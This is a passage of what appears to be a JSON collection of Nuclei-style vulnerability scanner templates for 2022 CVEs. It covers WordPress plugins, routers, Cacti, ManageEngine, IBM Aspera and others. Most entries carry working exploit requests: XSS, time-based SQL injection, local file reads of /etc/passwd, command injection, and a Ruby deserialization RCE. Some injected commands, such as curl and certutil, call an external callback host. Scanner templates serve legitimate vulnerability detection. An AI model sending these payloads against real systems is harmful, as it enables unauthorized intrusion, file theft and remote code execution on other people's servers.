    ","\u8be5\u6587\u4ef6\u4e0d"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2627","info":{"name":"WordPress Newspaper < 12 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php?td_theme_name=Newspaper&v=11.2 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=td_ajax_loop&loopState[moduleId]={{xss_payload}}&loopState[server_reply_html_data]=\n"],"payloads":{"xss_payload":["-->
    "]},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
    ","td-block-"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-32429","info":{"name":"MSNSwitch Firmware MNT.2408 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin-hax/ExportSettings.sh"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["SSID1"]},{"type":"regex","part":"header","regex":["filename=\"Settings(.*).dat","application/octet-stream"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1057","info":{"name":"WordPress Pricing Deals for WooCommerce <=2.0.2.02 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nGET /wp-admin/admin-ajax.php?action=vtprd_product_search_ajax&term=aaa%27+union+select+1,sleep(6),3--+- HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 500","contains(body, \"been a critical error\")"],"condition":"and"}]}]},{"id":"CVE-2022-38463","info":{"name":"ServiceNow - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["top.location.href = 'javascript:alert(document.domain)';"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-40047","info":{"name":"Flatpress < v1.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstring}}\n\n------WebKitFormBoundary{{randstring}}\nContent-Disposition: form-data; name=\"user\"\n\n{{username}}\n------WebKitFormBoundary{{randstring}}\nContent-Disposition: form-data; name=\"pass\"\n\n{{password}}\n------WebKitFormBoundary{{randstring}}\nContent-Disposition: form-data; name=\"submit\"\n\nLogin\n------WebKitFormBoundary{{randstring}}--\n","GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.domain%29%22autofocus%3d%22zr4da HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"flatpress\")","contains(content_type_2, \"text/html\")","contains(body_2, \"onfocus=\\\"alert(document.domain)\")"],"condition":"and"}]}]},{"id":"CVE-2022-30489","info":{"name":"Wavlink WN-535G3 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /cgi-bin/login.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnewUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=\")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["","parent.location.replace(\"http://\")"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-46169","info":{"name":"Cacti <=1.2.22 - Remote Command Injection","severity":"critical"},"requests":[{"raw":["GET /remote_agent.php?action=polldata&local_data_ids[0]=1&host_id=1&poller_id=;curl%20{{interactsh-url}}%20-H%20'User-Agent%3a%20{{useragent}}'; HTTP/1.1\nHost: {{Hostname}}\nX-Forwarded-For: 127.0.0.1\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"value\":","\"local_data_id\":"],"condition":"and"},{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: {{useragent}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43140","info":{"name":"kkFileView 4.1.0 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/getCorsFile?urlPath={{base64('https://oast.me')}}"],"matchers":[{"type":"word","part":"body","words":["

    Interactsh Server

    "]}]}]},{"id":"CVE-2022-0597","info":{"name":"Microweber < 1.2.11 - Open Redirection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/logout?redirect_to=http://oast.pro/"],"matchers":[{"type":"regex","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.pro.*$"],"part":"header"}]}]},{"id":"CVE-2022-29299","info":{"name":"SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<\"\">","/Solar_History.php\" METHOD=\"post\">"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-42749","info":{"name":"CandidATS 3.0.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","candidat"],"condition":"and"},{"type":"word","part":"header","words":["text/html"],"condition":"and"},{"type":"status","status":[404]}]}]},{"id":"CVE-2022-4063","info":{"name":"WordPress InPost Gallery <2.1.4.1 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=inpost_fancy&popup_shortcode_attributes=eyJwYWdlcGF0aCI6ICJmaWxlOi8vL2V0Yy9wYXNzd2QifQ=="],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-25323","info":{"name":"ZEROF Web Server 2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/admin.back"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["back"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[401]}]}]},{"id":"CVE-2022-23102","info":{"name":"SINEMA Remote Connect Server < V2.0 - Open Redirect","severity":"medium"},"requests":[{"raw":["GET /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1\nHost: {{Hostname}}\n","POST /wbm/login/?next=https%3A%2F%2Finteract.sh HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: csrftoken={{csrf}};\nReferer: {{RootURL}}/wbm/login/?next=https%3A%2F%2Finteract.sh\n\ncsrfmiddlewaretoken={{csrf}}&utcoffset=330&username={{username}}&password={{password}}\n"],"matchers":[{"type":"regex","part":"header_2","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}],"extractors":[{"type":"regex","name":"csrf","part":"body","group":1,"regex":["name='csrfmiddlewaretoken' value='(.*)' />"],"internal":true}]}]},{"id":"CVE-2022-25216","info":{"name":"DVDFab 12 Player/PlayerFab - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/download/C%3a%2fwindows%2fsystem.ini"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-47945","info":{"name":"Thinkphp Lang - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/?lang=../../thinkphp/base","{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Call Stack","class=\"trace"],"condition":"and"},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-47501","info":{"name":"Apache OFBiz < 18.12.07 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/solr/solrdefault/debug/dump?param=ContentStreams&stream.url=file://{{path}}"],"payloads":{"path":["/etc/passwd","c:/windows/win.ini"]},"stop-at-first-match":true,"matchers-condition":"or","matchers":[{"type":"dsl","dsl":["regex('root:.*:0:0:', body)","status_code == 200"],"condition":"and"},{"type":"dsl","dsl":["contains(body, 'bit app support')","contains(body, 'fonts')","contains(body, 'extensions')","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2022-46381","info":{"name":"Linear eMerge E3-Series - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/badging/badge_template_v0.php?layout=1&type=\"/>"],"matchers-condition":"and","matchers":[{"type":"word","words":["","Badging Template"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-43016","info":{"name":"OpenCATS 0.9.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /index.php?m=login&a=attemptLogin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","GET /index.php?m=toolbar&callback=&a=authenticate HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["EVAL=","cats_connected"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-40032","info":{"name":"Simple Task Managing System v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /task/loginValidation.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlogin=test'%20AND%20(SELECT%208979%20FROM%20(SELECT(SLEEP(7-(IF(ORD(MID((SELECT%20DISTINCT(IFNULL(CAST(schema_name%20AS%20NCHAR)%2c0x20))%20FROM%20INFORMATION_SCHEMA.SCHEMATA%20LIMIT%200%2c1)%2c12%2c1))%3e48%2c0%2c1)))))jaXJ)--%20HgKq&password=\n"],"matchers":[{"type":"dsl","dsl":["duration>=7","status_code == 302","contains(location, 'login.php')","contains(content_type, \"text/html\")"],"condition":"and"}]}]},{"id":"CVE-2022-32015","info":{"name":"Complete Online Job Search System 1.0 - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?q=category&search=Banking%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,md5({{num}}),15,16,17,18,19--+"],"matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]}]}]},{"id":"CVE-2022-0437","info":{"name":"karma-runner DOM-based Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/karma.js","{{BaseURL}}/?return_url=javascript:alert(document.domain)"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '< 6.3.14')"]},{"type":"word","part":"body_2","words":["Karma"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["(?m)VERSION: '([0-9.]+)'"],"internal":true}]}]},{"id":"CVE-2022-47966","info":{"name":"ManageEngine - Remote Command Execution","severity":"critical"},"requests":[{"raw":["POST /SamlResponseServlet HTTP/2\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nSAMLResponse={{url_encode(base64(SAMLResponse))}}&RelayState=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Unknown error occurred while processing your request"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-0666","info":{"name":"Microweber < 1.2.11 - CRLF Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/logout?redirect_to=%0d%0aSet-Cookie:crlfinjection=1;"],"matchers":[{"type":"regex","part":"header","regex":["^Set-Cookie: crlfinjection=1;"]}]}]},{"id":"CVE-2022-44290","info":{"name":"WebTareas 2.4p5 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /general/login.php?session=false HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------3023071625140724693672385525\n\n-----------------------------3023071625140724693672385525\nContent-Disposition: form-data; name=\"action\"\n\nlogin\n-----------------------------3023071625140724693672385525\nContent-Disposition: form-data; name=\"loginForm\"\n\n{{username}}\n-----------------------------3023071625140724693672385525\nContent-Disposition: form-data; name=\"passwordForm\"\n\n{{password}}\n-----------------------------3023071625140724693672385525\nContent-Disposition: form-data; name=\"loginSubmit\"\n\nLog In\n-----------------------------3023071625140724693672385525--\n","@timeout: 20s\nGET /approvals/deleteapprovalstages.php?id=1)+AND+(SELECT+3830+FROM+(SELECT(SLEEP(6)))MbGE)+AND+(6162=6162 HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"text/html\")","contains(body, 'Delete the following?')"],"condition":"and"}]}]},{"id":"CVE-2022-34045","info":{"name":"WAVLINK WN530HG4 - Improper Access Control","severity":"critical"},"requests":[{"raw":["GET /backupsettings.dat HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Salted__"]},{"type":"word","part":"header","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0948","info":{"name":"WordPress Order Listener for WooCommerce <3.2.2 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /?rest_route=/olistener/new HTTP/1.1\nHost: {{Hostname}}\ncontent-type: application/json\n\n{\"id\":\" (SLEEP(6))#\"}\n","GET /wp-content/plugins/woc-order-alert/assets/admin/js/scripts.js HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code_1 == 200","contains(content_type_1, \"application/json\")","contains(body_2, \"olistener-action.olistener-controller\")"],"condition":"and"}]}]},{"id":"CVE-2022-0540","info":{"name":"Atlassian Jira Seraph - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/InsightPluginShowGeneralConfiguration.jspa;","{{BaseURL}}/secure/WBSGanttManageScheduleJobAction.jspa;"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["General Insight Configuration"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-23881","info":{"name":"ZZZCMS zzzphp 2.1.0 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /?location=search HTTP/1.1\nHost: {{Hostname}}\nCookies: keys={if:=`certutil -urlcache -split -f https://{{interactsh-url}}/poc`}{end if}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-43167","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=users_alerts/users_alerts&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&type=warning&title=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&description=&location=all&start_date=&end_date=\n"],"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-0747","info":{"name":"Infographic Maker iList < 4.3.8 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=qcld_upvote_action&post_id=1+AND+(SELECT+1626+FROM+(SELECT(SLEEP(6)))niPH)\n","GET /wp-content/plugins/infographic-and-list-builder-ilist/assets/js/ilist_custom_admin.js HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code_2 == 200","contains(content_type_2, \"text/javascript\")","contains(body_2, \"show_ilist_templates\")"],"condition":"and"}]}]},{"id":"CVE-2022-27593","info":{"name":"QNAP QTS Photo Station External Reference - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php."],"matchers-condition":"and","matchers":[{"type":"word","part":"response","words":["!function(p,qa){","module.exports","application/javascript"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1058","info":{"name":"Gitea <1.16.5 - Open Redirect","severity":"medium"},"requests":[{"raw":["GET /user/login HTTP/1.1\nHost: {{Hostname}}\n","POST /user/login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: redirect_to=//interact.sh\n\n_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header_2","words":["//interact.sh"]},{"type":"status","status":[302]}],"extractors":[{"type":"regex","name":"csrf","group":1,"regex":["name=\"_csrf\" value=\"(.*)\""],"internal":true}]}]},{"id":"CVE-2022-39986","info":{"name":"RaspAP 2.8.7 - Unauthenticated Command Injection","severity":"critical"},"requests":[{"raw":["POST /ajax/openvpn/del_ovpncfg.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ncfg_id=;id;#\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["uid=([0-9(a-z-)]+) gid=([0-9(a-z-)]+) groups=([0-9(a-z-)]+)"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2034","info":{"name":"WordPress Sensei LMS <4.5.0 - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"],"payloads":{"num":"helpers/wordlists/numbers.txt"},"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["sensei_message","guid\":{\"rendered\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-34576","info":{"name":"WAVLINK WN535 G3 - Improper Access Control","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/ExportAllSettings.sh"],"matchers-condition":"and","matchers":[{"type":"word","words":["Login=","Password=","Model=","AuthMode="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-1916","info":{"name":"WordPress Active Products Tables for WooCommerce <1.0.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=woot_get_smth&what={%22call_action%22:%22x%22,%22more_data%22:%22\\u003cscript%3Ealert(document.domain)\\u003c/script%3E%22}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"body","words":["woot-content-in-popup","woot-system","woot-table"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-28923","info":{"name":"Caddy 2.4.6 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/%5C%5Cinteract.sh/%252e%252e%252f"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2022-0535","info":{"name":"WordPress E2Pdf <1.16.45 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n_nonce={{nonce}}&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes\n","GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_4, 'placeholder=\\\"Developer IPs\\\" >')","contains(header_4, \"text/html\")","status_code_4 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"_nonce\" value=\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2022-0208","info":{"name":"WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["","Bad mapid"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-44950","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=entities/fields&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryfKx13B5QBU5Sccgf\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"form_session_token\"\n\n{{nonce}}\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"entities_id\"\n\n24\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"forms_tabs_id\"\n\n29\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"name\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"short_name\"\n\ntest\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"type\"\n\nfieldtype_input\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[width]\"\n\ninput-small\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[default_value]\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[is_unique]\"\n\n0\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"fields_configuration[unique_error_msg]\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"required_message\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"tooltip\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"tooltip_item_page\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access_template\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access[5]\"\n\nyes\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"access[4]\"\n\nyes\n------WebKitFormBoundaryfKx13B5QBU5Sccgf\nContent-Disposition: form-data; name=\"notes\"\n\n\n------WebKitFormBoundaryfKx13B5QBU5Sccgf--\n"],"redirects":true,"max-redirects":3,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(content_type_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-47986","info":{"name":"IBM Aspera Faspex <=4.4.2 PL1 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /aspera/faspex/package_relay/relay_package HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/json\n\n{\"package_file_list\": [\"/\"], \"external_emails\": \"\\n---\\n- !ruby/object:Gem::Installer\\n i: x\\n- !ruby/object:Gem::SpecFetcher\\n i: y\\n- !ruby/object:Gem::Requirement\\n requirements:\\n !ruby/object:Gem::Package::TarReader\\n io: &1 !ruby/object:Net::BufferedIO\\n io: &1 !ruby/object:Gem::Package::TarReader::Entry\\n read: 0\\n header: \\\"pew\\\"\\n debug_output: &1 !ruby/object:Net::WriteAdapter\\n socket: &1 !ruby/object:PrettyPrint\\n output: !ruby/object:Net::WriteAdapter\\n socket: &1 !ruby/module \\\"Kernel\\\"\\n method_id: :eval\\n newline: \\\"throw `id`\\\"\\n buffer: {}\\n group_stack:\\n - !ruby/object:PrettyPrint::Group\\n break: true\\n method_id: :breakable\\n\", \"package_name\": \"{{rand_base(4)}}\", \"package_note\": \"{{randstr}}\", \"original_sender_name\": \"{{randstr}}\", \"package_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\", \"metadata_human_readable\": \"Yes\", \"forward\": \"pew\", \"metadata_json\": \"{}\", \"delivery_uuid\": \"d7cb6601-6db9-43aa-8e6b-dfb4768647ec\", \"delivery_sender_name\": \"{{rand_base(8)}}\", \"delivery_title\": \"{{rand_base(4)}}\", \"delivery_note\": \"{{rand_base(4)}}\", \"delete_after_download\": true, \"delete_after_download_condition\": \"IDK\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"regex","regex":["uid=\\d+\\(([^)]+)\\) gid=\\d+\\(([^)]+)\\)"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2022-0651","info":{"name":"WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 20s\nGET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce={{nonce}}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home'-sleep(6)-'¤t_page_id=0&search_query&page_uri=/&user_id=0 HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"application/json\")","contains(body, 'Visitor Hit was recorded successfully')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["_wpnonce=([0-9a-zA-Z]+)"],"internal":true}]}]},{"id":"CVE-2022-43164","info":{"name":"Rukovoditel <= 3.2.1 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["GET /index.php?module=users/login HTTP/1.1\nHost: {{Hostname}}\n","POST /index.php?module=users/login&action=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&username={{username}}&password={{password}}\n","POST /index.php?module=global_lists/lists&action=save&token={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nform_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E¬es=\n"],"redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_3 == 200","contains(body_3, \"\")","contains(body_3, \"rukovoditel\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["id=\"form_session_token\" value=\"(.*)\" type=\"hidden\""],"internal":true}]}]},{"id":"CVE-2022-3908","info":{"name":"WordPress Helloprint <1.4.7 - Cross-Site 